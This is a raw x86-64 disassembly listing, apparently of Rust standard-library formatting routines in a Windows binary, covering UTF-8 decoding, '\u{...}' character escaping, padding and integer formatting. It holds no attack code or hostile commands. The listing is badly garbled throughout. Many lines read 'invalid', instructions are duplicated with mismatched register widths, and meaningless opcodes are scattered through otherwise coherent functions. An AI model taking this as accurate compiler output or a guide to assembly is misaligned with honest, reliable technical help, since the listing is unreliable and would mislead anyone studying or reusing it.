add dword [rbp - 0x49f003b8], ecx
lea ecx, [rax - 4]
movzx ecx, cl
mov dh, 0xc9
leave
cmp cl, 0x13
mov edx, 0x13
add byte [rax], al
adc edi, dword [rdx + 0x13]
add byte [rax], al
cmovb edx, ecx
movzx ecx, dl
ror dword [rdi], 1
mov dh, 0xca
lea rdx, [0x14028b5b4]
test byte [rsi], ah
add byte [rax + 0x63], cl
or al, 0x8a
movsxd rcx, dword [rdx + rcx*4]
invalid
add rcx, rdx
add ecx, edx
jmp rcx
mov al, 4
jmp 0x14002316d
add al, 0xeb
mov al, 0x13
mov al, 0x13
mov al, 0x13
jmp 0x14002316d
mov al, 0x11
jmp 0x14002316d
mov al, 0xe
jmp 0x14002316d
mov al, 7
jmp 0x14002316d
mov al, 0xf
jmp 0x14002316d
por mm6, qword [rdx]
mov al, 0xc
jmp 0x14002316d
mov al, 5
jmp 0x14002316d
mov al, 0x12
jmp 0x14002316d
mov al, 6
jmp 0x14002316d
mov al, 0xa
jmp 0x14002316d
or ch, bl
invalid
mov al, 0x14
jmp 0x14002316d
mov al, 8
jmp 0x14002316d
mov al, 0x10
jmp 0x14002316d
mov al, 9
jmp 0x14002316d
mov al, 0x15
jmp 0x14002316d
mov al, 0xd
jmp 0x14002316d
mov al, 0xb
jmp 0x14002316d
mov al, 0x16
mov byte [rsi + 1], al
mov byte [rsi], bl
add rsp, 0x28
pop rbx
pop rsi
ret
insb byte [rdi], dx
and al, 0x40
mov rbx, r9
mov rdi, r8
mov r15, qword [rbp + 0x78]
test dl, dl
je 0x140024d2c
mov eax, dword [rcx + 0x34]
mov edx, eax
ret 0xe283
add dword [rcx - 0x47], eax
add byte [rax], al
add byte [rcx], dl
add byte [rcx - 0x48], al
sub eax, dword [rax]
add byte [rax], al
cmove r8d, r9d
add rdx, r15
test al, 4
je 0x140024d3d
mov r9, rbx
test rbx, rbx
je 0x140024db7
cmp rbx, 1
jne 0x140024d41
xor r9d, r9d
xor r11d, r11d
jmp 0x140024da0
lea rdx, [r15 + 1]
mov eax, dword [rcx + 0x34]
mov r8d, 0x2d
test al, 4
jne 0x140024d12
xor edi, edi
jmp 0x140024dba
mov r11d, ebx
and r11d, 0x1e
invalid
pxor xmm0, xmm0
xor r9d, r9d
movdqa xmm1, xmmword [0x1401cd9a0]
or eax, 0x1a8c49
or eax, 0x1a8c49
movdqa xmm2, xmmword [0x1401cd9b0]
nop
movzx r10d, word [rdi + r9]
movd xmm3, r10d
movd mm3, r10d
movd mm3, r10d
pcmpgtb xmm3, xmm1
punpcklbw xmm3, xmm3
pshuflw xmm3, xmm3, 0xd4
pshufd xmm3, xmm3, 0xd4
pand xmm3, xmm2
paddq xmm0, xmm3
add r9, 2
cmp r11, r9
retf
jne 0x140024d60
retf
pshufd xmm1, xmm0, 0xee
paddq xmm1, xmm0
movq r9, xmm1
cmp r11, rbx
je 0x140024db7
invalid
xor r10d, r10d
cmp byte [rdi + r11], 0xc0
setge r10b
ret 0x14d
invalid
invalid
inc r11
cmp rbx, r11
jne 0x140024da0
add rdx, r9
mov r13, qword [rbp + 0x70]
mov ebp, dword [rbp + 0x70]
cmp qword [rcx], 0
je 0x140024e01
mov r14, qword [rcx + 8]
sub r14, rdx
jbe 0x140024e01
test al, 8
jne case.0x14001f409.38
add byte [rax], al
add byte [rax], al
mov qword [rbp - 8], r15
movzx r15d, byte [rcx + 0x38]
lea rax, [0x14028b604]
lea eax, [0x14028b604]
lea eax, [0x14028b604]
movsxd rdx, dword [rax + r15*4]
add rdx, rax
mov dword [rbp - 0x10], r8d
invalid
mov qword [rbp - 0x18], r13
jmp rdx
mov r15, r14
xor r14d, r14d
imul cl
add byte [rax], al
add byte [rax], al
mov rsi, qword [rcx + 0x20]
mov r12, qword [rcx + 0x28]
mov qword [rsp + 0x20], rbx
pop rsp
and al, 0x20
mov rcx, rsi
mov ecx, esi
mov rdx, r12
mov r9, rdi
call fcn.1400253c0
add byte [rax - 0x49], al
invalid
add byte [rax - 0x49], al
add dword [rax + rax*8 - 0x776ec8c], eax
test al, al
je 0x140024e36
mov eax, edi
test al, al
je 0x140024e36
mov eax, edi
add rsp, 0x48
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
mov rax, qword [r12 + 0x18]
mov rcx, rsi
mov rdx, r13
mov r8, r15
clc
clc
add rsp, 0x48
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
jmp rax
mov eax, dword [rcx + 0x30]
mov dword [rbp - 0xc], eax
mov dword [rcx + 0x30], 0x30
add byte [rdi], cl
mov dh, 0x41
cmp byte [rax + 0x41c60745], cl
cmp byte [rcx], al
add byte [rdi], cl
mov dh, 0x41
cmp byte [rax + 0x41c60745], cl
cmp byte [rcx], al
mov r12, qword [rcx + 0x20]
mov qword [rbp - 8], rcx
mov rsi, qword [rcx + 0x28]
mov qword [rsp + 0x20], rbx
mov rcx, r12
mov rdx, rsi
mov r9, rdi
mov ecx, edi
mov ecx, edi
call fcn.1400253c0
mov dil, 1
test al, al
jne 0x140024e23
inc r14
nop dword [rax + rax]
invalid
dec r14
je 0x140024eb9
mov rcx, r12
mov edx, 0x30
call qword [rsi + 0x20]
test al, al
je 0x140024ea0
jmp 0x140024e23
mov rcx, r12
mov rdx, r13
mov r8, r15
call qword [rsi + 0x18]
test al, al
jne 0x140024e23
mov r13, qword [rbp - 8]
mov eax, dword [rbp - 0xc]
mov dword [r13 + 0x30], eax
movzx eax, byte [rbp + 7]
mov byte [r13 + 0x38], al
xor edi, edi
jmp 0x140024e23
mov r15, r14
shr r15, 1
inc r14
shr r14, 1
mov r12, qword [rcx + 0x20]
mov r13, qword [rcx + 0x28]
mov esi, dword [rcx + 0x30]
inc r15
nop word cs:[rax + rax]
dec r15
je 0x140024f2a
mov rcx, r12
mov edx, esi
call qword [r13 + 0x20]
test al, al
je 0x140024f10
mov dil, 1
jmp 0x140024e23
mov qword [rsp + 0x20], rbx
mov rcx, r12
mov rdx, r13
mov r8d, dword [rbp - 0x10]
mov r9, rdi
call fcn.1400253c0
mov dil, 1
test al, al
jne 0x140024e23
mov rcx, r12
mov rdx, qword [rbp - 0x18]
mov r8, qword [rbp - 8]
call qword [r13 + 0x18]
test al, al
jne 0x140024e23
mov rbx, r14
neg rbx
mov rdi, 0xffffffffffffffff
lea rax, [rbx + rdi]
cmp rax, 0xffffffffffffffff
je 0x140024f8c
mov rcx, r12
mov edx, esi
call qword [r13 + 0x20]
inc rdi
test al, al
je 0x140024f70
jmp 0x140024f8f
mov rdi, r14
cmp rdi, r14
setb dil
jmp 0x140024e23
mov rbx, rdi
cmp rbx, r8
je case.0x1400115e7.68
movzx r8d, byte [rbx]
test r8b, r8b
test al, al
jns 0x140025642
cmp r8b, 0xe0
jb 0x140025642
cmp r8b, 0xf0
jb 0x140025642
movzx r8d, r8b
movzx r9d, byte [rbx + 1]
add qword [r9 - 0x7d], rax
loope 0x14002564d
add qword [r9 - 0x7d], rax
loope 0x14002564d
movzx r10d, byte [rbx + 2]
and r10d, 0x3f
push rbx
add al, byte [rcx - 0x7d]
loop 0x140025656
movzx r11d, byte [rbx + 3]
and r8d, 7
mov dh, 0x5b
add eax, dword [rcx - 0x7d]
loopne 0x140025627
shl r8d, 0x12
shl r9d, 0xc
shl r10d, 6
shl edx, 6
or al, 0x41
shl edx, 6
or r10d, r9d
and r11d, 0x3f
or r11d, r10d
or ebx, edx
rol dword [rbp + 9], cl
ret
or r11d, r8d
cmp r11d, 0x110000
add byte [rcx], dl
invalid
je case.0x1400115e7.68
add byte [rcx], dl
add byte [rdi + rdx + 0x48], dh
test edx, edx
invalid
test rdx, rdx
sal byte [rdi + rcx + 0x48], cl
cmp edx, esi
je 0x140025656
cmp rdx, rsi
jae case.0x140023121.54
cmp byte [rdi + rdx], 0xc0
jge 0x140025656
invalid
cmp al, 0x17
sar byte [rbp + 4], 0xeb
add al, 0xeb
jmp case.0x1400115e7.68
add eax, 0x89480375
invalid
jne case.0x1400115e7.68
mov rsi, rdx
test rax, rax
je 0x140025731
invalid
mov r15, qword [rcx + 8]
cmp rsi, 0x20
and byte [rbx + 0x18], dh
mov rax, rsi
test rsi, rsi
test byte [rdi], 0x84
wait
add byte [rax], al
invalid
test byte [rdi], 0x84
wait
add byte [rax], al
add byte [rax - 0x7d], cl
cmp rsi, 1
cmp rsi, 1
cmp esi, 1
jne 0x140025697
xor eax, eax
xor edx, edx
shr bl, cl
invalid
mov rbx, rcx
mov rcx, rdi
mov rdx, rsi
call fcn.140024fa0
bnd call fcn.140024fa0
mov rcx, rbx
jmp 0x140025713
mov edx, esi
and edx, 0x1e
pxor xmm0, xmm0
xor eax, eax
movdqa xmm1, xmmword [0x1401cd9a0]
or eax, 0x1a82f6
or eax, 0x1a82f6
movdqa xmm2, xmmword [0x1401cd9b0]
adc eax, 0x1a82fe
sbb al, byte [rax]
nop word cs:[rax + rax]
invalid
movzx r8d, word [rdi + rax]
movzx eax, word [rdi + rax]
add al, 7
movd xmm3, r8d
pcmpgtb xmm3, xmm1
punpcklbw xmm3, xmm3
pshuflw xmm3, xmm3, 0xd4
pshufd xmm3, xmm3, 0xd4
pand xmm3, xmm2
pand mm3, mm2
fldenv fs:[rsi + 0xf]
invalid
pand mm3, mm2
paddq xmm0, xmm3
add rax, 2
add eax, 2
add eax, 2
cmp rdx, rax
jne 0x1400256c0
pshufd xmm1, xmm0, 0xee
paddq xmm1, xmm0
movq rax, xmm1
jle 0x1400256c3
jmp 0x14002570e
xor r8d, r8d
cmp byte [rdi + rdx], 0xc0
setge r8b
add rax, r8
inc rdx
cmp al, 0x17
rol byte [rcx + 0xf], 0x9d
ror byte [rcx + rax - 0x40], 0x48
inc edx
cmp rsi, rdx
jne 0x1400256fd
sub r15, rax
jbe 0x140025731
movzx eax, byte [rcx + 0x38]
lea rdx, [0x14028b614]
movsxd rax, dword [rdx + rax*4]
add rax, rdx
jmp rax
xor r13d, r13d
jmp 0x14002576d
mov rax, qword [rcx + 0x20]
mov rcx, qword [rcx + 0x28]
mov r9, qword [rcx + 0x18]
mov rcx, rax
mov rdx, rdi
mov r8, rsi
add rsp, 0x28
sub byte [rbx + 0x5f], bl
sub byte [rbx + 0x5f], bl
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
jmp r9
mov r13, r15
xor r15d, r15d
jmp 0x14002576d
mov r13, r15
shr r13, 1
inc r15
shr r15, 1
mov rbx, qword [rcx + 0x20]
mov r12, qword [rcx + 0x28]
mov r14d, dword [rcx + 0x30]
inc r13
nop dword [rax]
mov rcx, rbx
dec r13
je 0x140025798
mov edx, r14d
call qword [r12 + 0x20]
test al, al
je 0x140025780
mov al, 1
jmp 0x1400257e7
mov rdx, rdi
mov r8, rsi
call qword [r12 + 0x18]
mov ecx, eax
mov al, 1
test cl, cl
jne 0x1400257e7
mov rdi, r15
neg rdi
mov rsi, 0xffffffffffffffff
nop dword [rax + rax]
lea rax, [rdi + rsi]
cmp rax, 0xffffffffffffffff
je 0x1400257de
mov rcx, rbx
mov edx, r14d
call qword [r12 + 0x20]
inc rsi
test al, al
je 0x1400257c0
jmp 0x1400257e1
mov rsi, r15
cmp rsi, r15
setb al
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
mov al, 1
add rsp, 0x78
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
add r12, r15
mov rsi, qword [rbp - 0x38]
nop word cs:[rax + rax]
sub r15, r14
add r15, rbx
cmp rbx, qword [rbp - 0x40]
je 0x14002bb57
mov r14, rbx
movzx r13d, byte [rbx]
test r13b, r13b
js 0x14002b930
lea rbx, [r14 + 1]
jmp 0x14002b9a0
mov eax, r13d
and eax, 0x1f
movzx edx, byte [r14 + 1]
and edx, 0x3f
cmp r13b, 0xdf
jbe 0x14002b985
lea rbx, [r14 + 3]
movzx ecx, byte [r14 + 2]
shl edx, 6
and ecx, 0x3f
or ecx, edx
cmp r13b, 0xf0
jb 0x14002b993
movzx r13d, byte [rbx]
and eax, 7
shl eax, 0x12
shl ecx, 6
and r13d, 0x3f
or r13d, ecx
or r13d, eax
cmp r13d, 0x110000
je 0x14002bb57
lea rbx, [r14 + 4]
jmp 0x14002b9a0
lea rbx, [r14 + 2]
shl eax, 6
or eax, edx
mov r13d, eax
jmp 0x14002b9a0
shl eax, 0xc
or ecx, eax
mov r13d, ecx
nop dword [rax + rax]
lea rcx, [rbp - 0x2c]
mov edx, r13d
mov r8d, 0x10001
call case.0x14001155f.116
cmp byte [rbp - 0x2c], 0x80
je 0x14002b900
movzx eax, byte [rbp - 0x21]
sub al, byte [rbp - 0x22]
cmp al, 1
je 0x14002b900
mov r8, r15
sub r8, r12
jb 0x14002bbb7
test r12, r12
je 0x14002b9f7
cmp r12, rsi
jae 0x14002b9f1
mov rax, qword [rbp - 0x10]
cmp byte [rax + r12], 0xc0
jge 0x14002b9f7
jmp 0x14002bbb7
jne 0x14002bbb7
test r15, r15
je 0x14002ba17
cmp r15, rsi
jae 0x14002ba11
mov rax, qword [rbp - 0x10]
cmp byte [rax + r15], 0xbf
jg 0x14002ba17
jmp 0x14002bbb7
jne 0x14002bbb7
add r12, qword [rbp - 0x10]
mov rcx, rdi
mov rdx, r12
mov rax, qword [rbp - 0x18]
call qword [rax + 0x18]
test al, al
jne 0x14002b8b7
mov eax, dword [rbp - 0x24]
mov dword [rbp], eax
mov rax, qword [rbp - 0x2c]
mov eax, dword [rbp - 0x2c]
mov qword [rbp - 8], rax
cmp al, 0x80
jne 0x14002ba9d
mov sil, 0x80
jmp 0x14002ba72
mov edx, dword [rbp - 4]
mov dword [rbp], 0
mov qword [rbp - 8], 0
xor esi, esi
mov rcx, rdi
call qword [rbp - 0x20]
test al, al
jne 0x14002b8b7
cmp sil, 0x80
je case.0x1400423d4.116
invalid
movzx r12d, byte [rbp + 2]
cmp r12b, byte [rbp + 3]
jae 0x14002badf
lea eax, [r12 + 1]
mov byte [rbp + 2], al
cmp r12b, 0xa
jae 0x14002bba3
movzx edx, byte [rbp + r12 - 8]
jmp case.0x1400089d2.211
movzx esi, byte [rbp + 3]
movzx r12d, byte [rbp + 2]
add ah, byte gs:[rsi + 0x2e]
nop dword [rax + rax]
add byte [rax], al
add byte [rax], al
invalid
add byte [rax], al
add byte [rax], al
add byte [rcx + 0x39], cl
hlt
cmp r12, rsi
jae 0x14002badf
invalid
lea eax, [r12 + 1]
mov byte [rbp + 2], al
cmp r12, 9
ja 0x14002bba3
add byte [rax], al
invalid
add byte [rax], al
add byte [rdx + 0xf], al
mov dh, 0x54
and eax, 0xf98948f8
stc
movzx edx, byte [rbp + r12 - 8]
mov rcx, rdi
stc
stc
call qword [rbp - 0x20]
inc r12
inc esp
test al, al
je 0x14002bab0
jmp 0x14002b8b7
mov r12d, 1
cmp r13d, 0x80
add byte [rax], 0
add byte [rdi], cl
invalid
std
std
invalid
invalid
add byte [rax], 0
add byte [rdi], cl
invalid
mov r12d, 2
cmp r13d, 0x800
std
add byte [rax], cl
add byte [rax], al
jb 0x14002b8ef
cmp r13d, 0x10000
add byte [rcx - 0x44], al
add al, 0
add byte [rax], al
mov r12d, 4
sbb r12, 0
jmp 0x14002b8ef
sub rsi, rax
add rbx, rax
add ebx, eax
mov rcx, rdi
mov ecx, edi
mov rdx, rbx
mov r8, rsi
invalid
call qword [r14 + 0x18]
test al, al
jne 0x14002b8b7
jg 0x14002bb33
invalid
invalid
mov rcx, rdi
mov edx, 0x22
add byte [rax], al
add byte [rax - 0x75], cl
loopne 0x14002bb8d
mov rax, qword [rbp - 0x20]
add rsp, 0x78
add esp, 0x78
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
jmp rax
test r12, r12
test esp, esp
je 0x14002bb75
cmp r12, rsi
mov rbx, qword [rbp - 0x10]
mov r14, qword [rbp - 0x18]
jne 0x14002bb4f
jae 0x14002bb81
cmp byte [rbx + r12], 0xbf
jle 0x14002bb86
invalid
and edi, dword [rdi - 0x76b3e982]
mov rax, r12
jmp 0x14002bb1d
loopne 0x14002bb5f
test al, 0x31
ror byte [rax - 0x75], 0x5d
mov rbx, qword [rbp - 0x10]
xor eax, eax
mov rbx, qword [rbp - 0x10]
mov r14, qword [rbp - 0x18]
jmp 0x14002bb1d
mov rax, rsi
je 0x14002bb1d
lea rax, str.librarycore_src_fmtmod.rs0123456789abcdefBorrowMutErroralready_borrowed:
mov qword [rsp + 0x20], rax
and al, 0x20
mov rcx, rbx
mov ecx, ebx
mov rdx, rsi
mov r8, r12
mov r9, rsi
mov ecx, esi
call fcn.1401c73e0
lea r8, str.librarycore_srcescape.rs
mov edx, 0xa
add byte [rax], al
invalid
add byte [rax], al
add byte [rcx + rcx*4 - 0x1f], cl
mov rcx, r12
mov rcx, r12
call fcn.1401c6eb0
lea rax, str.librarycore_src_fmtmod.rs0123456789abcdefBorrowMutErroralready_borrowed:
sbb al, byte [rax]
mov qword [rsp + 0x20], rax
mov rcx, qword [rbp - 0x10]
mov rdx, rsi
mov r8, r12
mov r9, r15
stc
call fcn.1401c73e0
int3
int3
int3
sub rsp, 0x30
lea rbp, [rsp + 0x30]
insb byte [rdi], dx
and al, 0x30
cmp edx, 0x27
ja case.default.0x14002bc01
mov eax, edx
lea r9, [0x14028b624]
movsxd rax, dword [r9 + rax*4]
add al, 0x81
add al, 0x81
or dword [rcx + rax - 0x38], 0xc766e0ff
add dword [rax + rsi - 0x17], ebx
xor cl, ch
add rax, r9
jmp rax
invalid
mov word [rcx], 0x305c
jmp 0x14002be0a
invalid
xor cl, ch
std
add dword [rax], eax
add byte [rbx + 0xa755cfa], al
cmp edx, 0x5c
jne case.0x14002bc01.1
mov word [rcx], 0x5c5c
jmp 0x14002be0a
add dword [rax], eax
invalid
cmp edx, 0x300
jb 0x14002bd48
and r8d, 1
je 0x14002bd48
add dword [rax], eax
add byte [rax - 0x77], cl
mov esi, ecx
mov rsi, rcx
mov ecx, edx
mov edi, edx
call fcn.14002c4c0
mov edx, edi
cli
mov rcx, rsi
test al, al
je 0x14002bd48
test ch, bh
add byte [rax], al
add byte [rax], al
test ch, bh
add byte [rax], al
add byte [rax], al
mov byte [rbp - 8], 0
mov word [rbp - 0xa], 0
invalid
test byte [r8], 0
add byte [rax], al
mov byte [rbp - 8], 0
mov word [rbp - 0xa], 0
invalid
test byte [r8], 0
add byte [rax], al
mov dword [rbp - 0xa], 0x45c60000
invalid
mov byte [rbp - 1], 0x7d
mov r8d, edx
mov eax, edx
mov eax, edx
shr r8d, 0x14
and r8d, 0xf
invalid
cmovs ecx, dword [rbp + 0x1a754805]
lea rax, [0x1401d31b3]
movzx r8d, byte [r8 + rax]
mov dh, 4
add byte [rax + rcx*4 + 0x45], al
stc
add byte [rbp + 0xf], al
mov dh, 4
add byte [rax + rcx*4 + 0x45], al
stc
mov r8d, edx
shr r8d, 0x10
and r8d, 0xf
cmovne ecx, dword [rdi]
mov dh, 4
add byte [rax + rcx*4 + 0x45], al
cli
cmovne ecx, dword [rdi]
mov dh, 4
add byte [rax + rcx*4 + 0x45], al
cli
mov r8d, edx
shr r8d, 0xc
and r8d, 0xf
movzx r8d, byte [r8 + rax]
mov byte [rbp - 5], r8b
sti
sti
sti
mov r8d, edx
shr r8d, 8
and r8d, 0xf
loopne 0x14002bcb6
and eax, 0xf
loopne 0x14002bcb6
movzx r8d, byte [r8 + rax]
mov byte [rbp - 4], r8b
cld
cld
mov r8d, edx
shr r8d, 4
add al, 0x41
and eax, 0xf
and r8d, 0xf
movzx r8d, byte [r8 + rax]
mov byte [rbp - 3], r8b
mov byte [rbp - 3], al
mov r8d, edx
and r8d, 0xf
movzx eax, byte [r8 + rax]
mov byte [rbp - 2], al
or edx, 1
bsr eax, edx
xor eax, 0x1c
shr eax, 2
lea rdx, [rax - 2]
mov byte [rbp + rax - 0xa], 0x7b
mov word [rbp + rax - 0xc], 0x755c
add eax, 0xf755cf4
mov bh, 0x45
invalid
mov word [rcx + 8], ax
mov dword [rcx + 8], eax
add eax, 0xf755cf4
mov bh, 0x45
invalid
mov dword [rcx + 8], eax
mov rax, qword [rbp - 0xa]
mov qword [rcx], rax
test byte [rax - 0x77], 1
mov byte [rcx + 0xa], dl
mov byte [rcx + 0xb], 0xa
jmp 0x14002be18
add dword [rax], eax
invalid
add dword [rax], eax
add byte [rsi - 0x39], ah
mov word [rcx], 0x6e5c
invalid
test byte [rax], 0
add byte [rax], al
mov word [rcx], 0x6e5c
jmp 0x14002be0a
add byte [rax], al
invalid
add byte [rax], al
add byte [rcx - 9], al
rol byte [rax], 1
add byte [rcx], al
test r8d, 0x100
add byte [rcx], al
add byte [rax], al
je 0x14002bd48
mov word [rcx], 0x275c
jmp 0x14002be0a
invalid
mov word [rcx], 0x725c
jmp 0x14002be0a
mov word [rcx], 0x745c
jmp 0x14002be0a
test r8d, 0x10000
jne 0x14002be05
mov rsi, rcx
mov edi, edx
mov ecx, edx
call fcn.14002c380
test al, al
je 0x14002bd63
mov byte [rsi], 0x80
mov dword [rsi + 4], edi
jmp 0x14002be18
mov byte [rbp - 8], 0
mov word [rbp - 0xa], 0
mov byte [rbp - 1], 0x7d
mov eax, edi
mov edx, edi
shr edx, 0x14
and edx, 0xf
lea rcx, [0x1401d31b3]
movzx edx, byte [rdx + rcx]
mov byte [rbp - 7], dl
mov edx, edi
shr edx, 0x10
and edx, 0xf
movzx edx, byte [rdx + rcx]
mov byte [rbp - 6], dl
mov edx, edi
shr edx, 0xc
and edx, 0xf
movzx edx, byte [rdx + rcx]
mov byte [rbp - 5], dl
mov edx, edi
shr edx, 8
and edx, 0xf
movzx edx, byte [rdx + rcx]
mov byte [rbp - 4], dl
mov edx, edi
shr edx, 4
and edx, 0xf
movzx edx, byte [rdx + rcx]
mov byte [rbp - 3], dl
mov edx, edi
and edx, 0xf
movzx ecx, byte [rdx + rcx]
mov byte [rbp - 2], cl
or eax, 1
bsr eax, eax
xor eax, 0x1c
shr eax, 2
lea rcx, [rax - 2]
mov byte [rbp + rax - 0xa], 0x7b
mov word [rbp + rax - 0xc], 0x755c
movzx eax, word [rbp - 2]
mov word [rsi + 8], ax
mov rax, qword [rbp - 0xa]
mov qword [rsi], rax
mov byte [rsi + 0xa], cl
mov byte [rsi + 0xb], 0xa
jmp 0x14002be18
mov word [rcx], 0x225c
mov qword [rcx + 2], 0
mov word [rcx + 0xa], 0x200
add rsp, 0x30
pop rdi
pop rsi
pop rbp
ret
add byte [rax], al
add bl, ch
cmp byte [rcx - 0x45], al
invalid
invalid
mov ebx, 8
jmp 0x14002d4bb
cmp ecx, 0x5f5e100
jb 0x14002d729
mov eax, edx
xor edx, edx
div r12w
add al, 0x30
mov byte [rbp + 0x20], al
mov r11d, 9
add byte [rax], al
invalid
add byte [rax], al
add byte [rcx + rcx*4 + 0x5d], cl
mov qword [rbp + 0x10], r11
adc byte [rcx + rcx*4 + 0x45], cl
or byte [rax - 0x39], cl
add byte [r9], r8b
add byte [rax], al
add byte [rcx], dh
ror byte [rax - 0x7d], 0xf9
cmp ecx, 9
mov r9d, 9
mov qword [rbp + 8], r8
mov dword [rbp + 8], eax
mov qword [rbp], 1
xor eax, eax
cmp rcx, 9
mov r9d, 9
cmovb r9, rcx
test r10, r10
cmove r9, r11
mov qword [rbp - 8], r9
clc
mov rdx, rbp
mov qword [rbp - 0x58], rdx
test al, 0x48
lea edx, [rbp - 0x18]
mov qword [rbp - 0x50], rdx
lea rdx, [rbp - 8]
mov al, 0x48
lea edx, [rbp - 8]
mov qword [rbp - 0x48], rdx
lea rdx, [rbp + 0x18]
mov eax, 0x18558d48
mov qword [rbp - 0x40], rdx
lea rdx, [rbp + 0x10]
mov qword [rbp - 0x38], rdx
enter 0xffffffffffff8d48, 0x55
fmul dword [rax - 0x77]
mov dword [rbp - 0x30], edx
mov dword [rbp - 0x30], edx
cmp qword [rsi], 0
je 0x14002d67b
cmp rbx, 1
jne 0x14002d52c
xor r15d, r15d
xor edi, edi
xor edx, edx
jmp 0x14002d590
mov edx, ebx
and edx, 0x1e
invalid
pxor xmm0, xmm0
xor r15d, r15d
movdqa xmm1, xmmword [0x1401cd9a0]
invalid
add al, 0x1a
add byte [rsi + 0xf], ah
outsd dx, dword [rsi]
adc eax, 0x1a0468
push 0xf001a04
invalid
test byte [rax], al
add byte [rax], al
add byte [rax], al
invalid
invalid
push 0xf001a04
invalid
test byte [rax], al
add byte [rax], al
add byte [rax], al
movzx r12d, word [r14 + r15]
movd xmm3, r12d
pcmpgtb xmm3, xmm1
punpcklbw xmm3, xmm3
invalid
fcomi st(2)
pshufw mm3, mm3, 0xd4
pshufd xmm3, xmm3, 0xd4
pshufw mm3, mm3, 0xd4
invalid
invalid
pshufw mm3, mm3, 0xd4
pand xmm3, xmm2
paddq xmm0, xmm3
add r15, 2
cmp rdx, r15
jne 0x14002d550
shl dword [rsi + 0xf], cl
jo 0x14002d549
pshufd xmm1, xmm0, 0xee
out dx, al
paddq xmm1, xmm0
movq r15, xmm1
cmp rdx, rbx
je 0x14002d5a7
invalid
xor r12d, r12d
cmp byte [r14 + rdx], 0xc0
setge r12b
add r15, r12
inc rdx
cmp rbx, rdx
jne 0x14002d590
mov r14, qword [rsi + 8]
add r15, rdi
test al, al
je 0x14002d5bb
add r15, 0x14
jmp 0x14002d649
test r8, r8
je 0x14002d646
mov rdi, r8
movabs rdx, 0xdbe6fecebdedd5bf
mov ebp, 0xdbe6fece
mov ebp, 0xdbe6fece
mov rax, r8
mul rdx
shr rdi, 0xa
shr rdx, 0x21
xor eax, eax
cmp rdi, 0x9502f9
mov edi, 0xa
cmovb edi, eax
cmovb rdx, r8
cmp rdx, 0x186a0
jb 0x14002d618
shr rdx, 5
movabs r8, 0xa7c5ac471b47843
mov rax, rdx
mul r8
shr rdx, 7
or edi, 5
lea eax, [rdx + 0x5fff6]
lea r8d, [rdx + 0x7ff9c]
and r8d, eax
lea eax, [rdx + 0xdfc18]
add edx, 0x7d8f0
and edx, eax
xor edx, r8d
shr edx, 0x11
add edx, edi
add r15, rdx
inc r15
jmp 0x14002d649
inc r15
test r10, r10
cmove rcx, r11
inc rcx
test r9, r9
cmove rcx, r9
add rcx, r15
sub r14, rcx
jbe 0x14002d67b
movzx eax, byte [rsi + 0x38]
lea rcx, [0x14028b6c4]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
xor r12d, r12d
jmp 0x14002d6a0
lea rcx, [rbp - 0x58]
mov rdx, rsi
call fcn.14002d740
jmp 0x14002d715
mov r12, r14
xor r14d, r14d
jmp 0x14002d6a0
mov r12, r14
shr r12, 1
inc r14
shr r14, 1
mov rdi, qword [rsi + 0x20]
mov r15, qword [rsi + 0x28]
mov ebx, dword [rsi + 0x30]
inc r12
nop
dec r12
je 0x14002d6c4
mov rcx, rdi
mov edx, ebx
call qword [r15 + 0x20]
test al, al
je 0x14002d6b0
jmp 0x14002d6d4
lea rcx, [rbp - 0x58]
mov rdx, rsi
call fcn.14002d740
test al, al
je 0x14002d6d8
mov al, 1
jmp 0x14002d715
mov r12, r14
neg r12
mov rsi, 0xffffffffffffffff
nop word cs:[rax + rax]
lea rax, [r12 + rsi]
cmp rax, 0xffffffffffffffff
je 0x14002d70c
mov rcx, rdi
mov edx, ebx
call qword [r15 + 0x20]
inc rsi
test al, al
je 0x14002d6f0
jmp 0x14002d70f
mov rsi, r14
cmp rsi, r14
setb al
add rsp, 0xa8
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
lea rcx, [0x1401d3c80]
call fcn.1401c7110
int3
shr ebx, 0x4a
movzx eax, byte [rcx]
lea ecx, [rax - 0x30]
cmp r8d, 0xb
jb 0x14002dff4
mov r9d, 0x200
cmp ecx, 0xa
jb 0x14002e011
or eax, 0x20
add eax, 0xffffff9f
add eax, 0xa
mov ecx, 0xffffffff
invalid
invalid
invalid
dec dword [rdi]
invalid
invalid
xor r9d, r9d
cmp ecx, r8d
setb r9b
shl r9d, 8
add r9, 0x100
jmp 0x14002e011
mov edx, 1
or rdx, r9
mov rax, rdx
pop rsi
pop rbp
ret
push rsi
push rdi
push rbx
sub rsp, 0x4d8
in al, dx
fadd dword [rax + rax]
add byte [rax - 0x73], cl
lodsb al, byte [rsi]
and al, 0x80
add byte [rax], al
add byte [rax], al
mov eax, r8d
movd r10d, xmm1
mov edx, r10d
shr edx, 0x17
movzx r8d, dl
lea r11d, [r10 + r10]
lea ebx, [rdx + rdx]
lea ebx, [rdx + rdx]
and r11d, 0xfffffe
mov edx, r10d
and edx, 0x7fffff
invalid
invalid
jg 0x14002e061
or edx, 0x800000
test r8d, r8d
invalid
cmove edx, r11d
movdqa xmm0, xmmword [0x1401cda20]
add eax, 0x19f9aa
add eax, 0x19f9aa
stosb byte [rdi], al
stc
sbb dword [rax], eax
pand xmm0, xmm1
ucomiss xmm0, dword [0x1401cda30]
jb 0x14002e132
invalid
add byte [rcx - 0x4d], al
add ecx, dword [rax - 0x77]
mov qword [rbp + 0x3b0], rdx
mov r11b, 3
mov qword [rbp + 0x3b0], rdx
mov qword [rbp + 0x3b8], 1
add eax, dword [rax]
add byte [rcx], al
add byte [rax], al
add byte [rax], al
mov qword [rbp + 0x3c0], rsi
mov word [rbp + 0x3c8], r8w
mov qword [rbp + 0x3c0], rsi
mov word [rbp + 0x3c8], r8w
add byte [rax + rcx*4 - 0x63], al
mov byte [rbp + 0x3ca], r11b
cmp r11b, 2
jne case.default.0x14002e0e6
retf 3
add byte [rcx - 0x80], al
sti
add dh, byte [rbp + 0x30]
mov r14d, 1
add byte [rcx], dh
